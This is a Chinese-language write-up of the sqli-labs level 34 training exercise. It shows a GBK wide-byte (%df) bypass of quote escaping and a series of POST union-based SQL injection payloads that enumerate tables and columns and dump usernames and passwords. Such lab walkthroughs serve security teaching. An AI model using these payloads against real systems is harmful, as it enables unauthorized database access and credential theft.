sqli-labs (less-34)
进入34关,我们发现又回到了我们熟悉的页面,我们直接输入用户名和密码登入进去
像之前的关卡一样,我们输入的用户名和密码也是使用POST的方式传输到了服务器,所以我们继续使用hackbar工具抓取POST内容
在用户名的位置我们输入一个单引号试试,结果发现单引号被转义
那我们在密码的位置尝试输入一个单引号试试,结果发现也被转义
这里一般情况下就已经没有注入点了,但我们可以查看源代码看看这关是不是也使用了GBK编码
查看源代码可知确实使用了GBK编码,那就很简单了,直接在单引号前面加上%df让单引号成功逃逸
uname=admin%df'&passwd=admin&submit=Submit
通过错误信息判断闭合方式为’#,并且为字符型注入
判断字段数
uname=a%df' order by 2 #&passwd=admin&submit=Submit #回显正常
uname=a%df' order by 3 #&passwd=admin&submit=Submit #回显错误
判断字段数为2
确定回显位置
uname=a%df' union select 1,2#&passwd=admin&submit=Submit
查看当前库
uname=a%df' union select 1,database()#&passwd=admin&submit=Submit
查看security库下的所有表
uname=a%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#&passwd=admin&submit=Submit
这里注意单引号被转义的问题就可以了
查看users表下的所有字段
uname=a%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)#&passwd=admin&submit=Submit
这里我将users表转化为了16进制
查看username,password字段下的所有值
uname=a%df' union select 1,(select group_concat(username,password) from security.users)#&passwd=admin&submit=Submit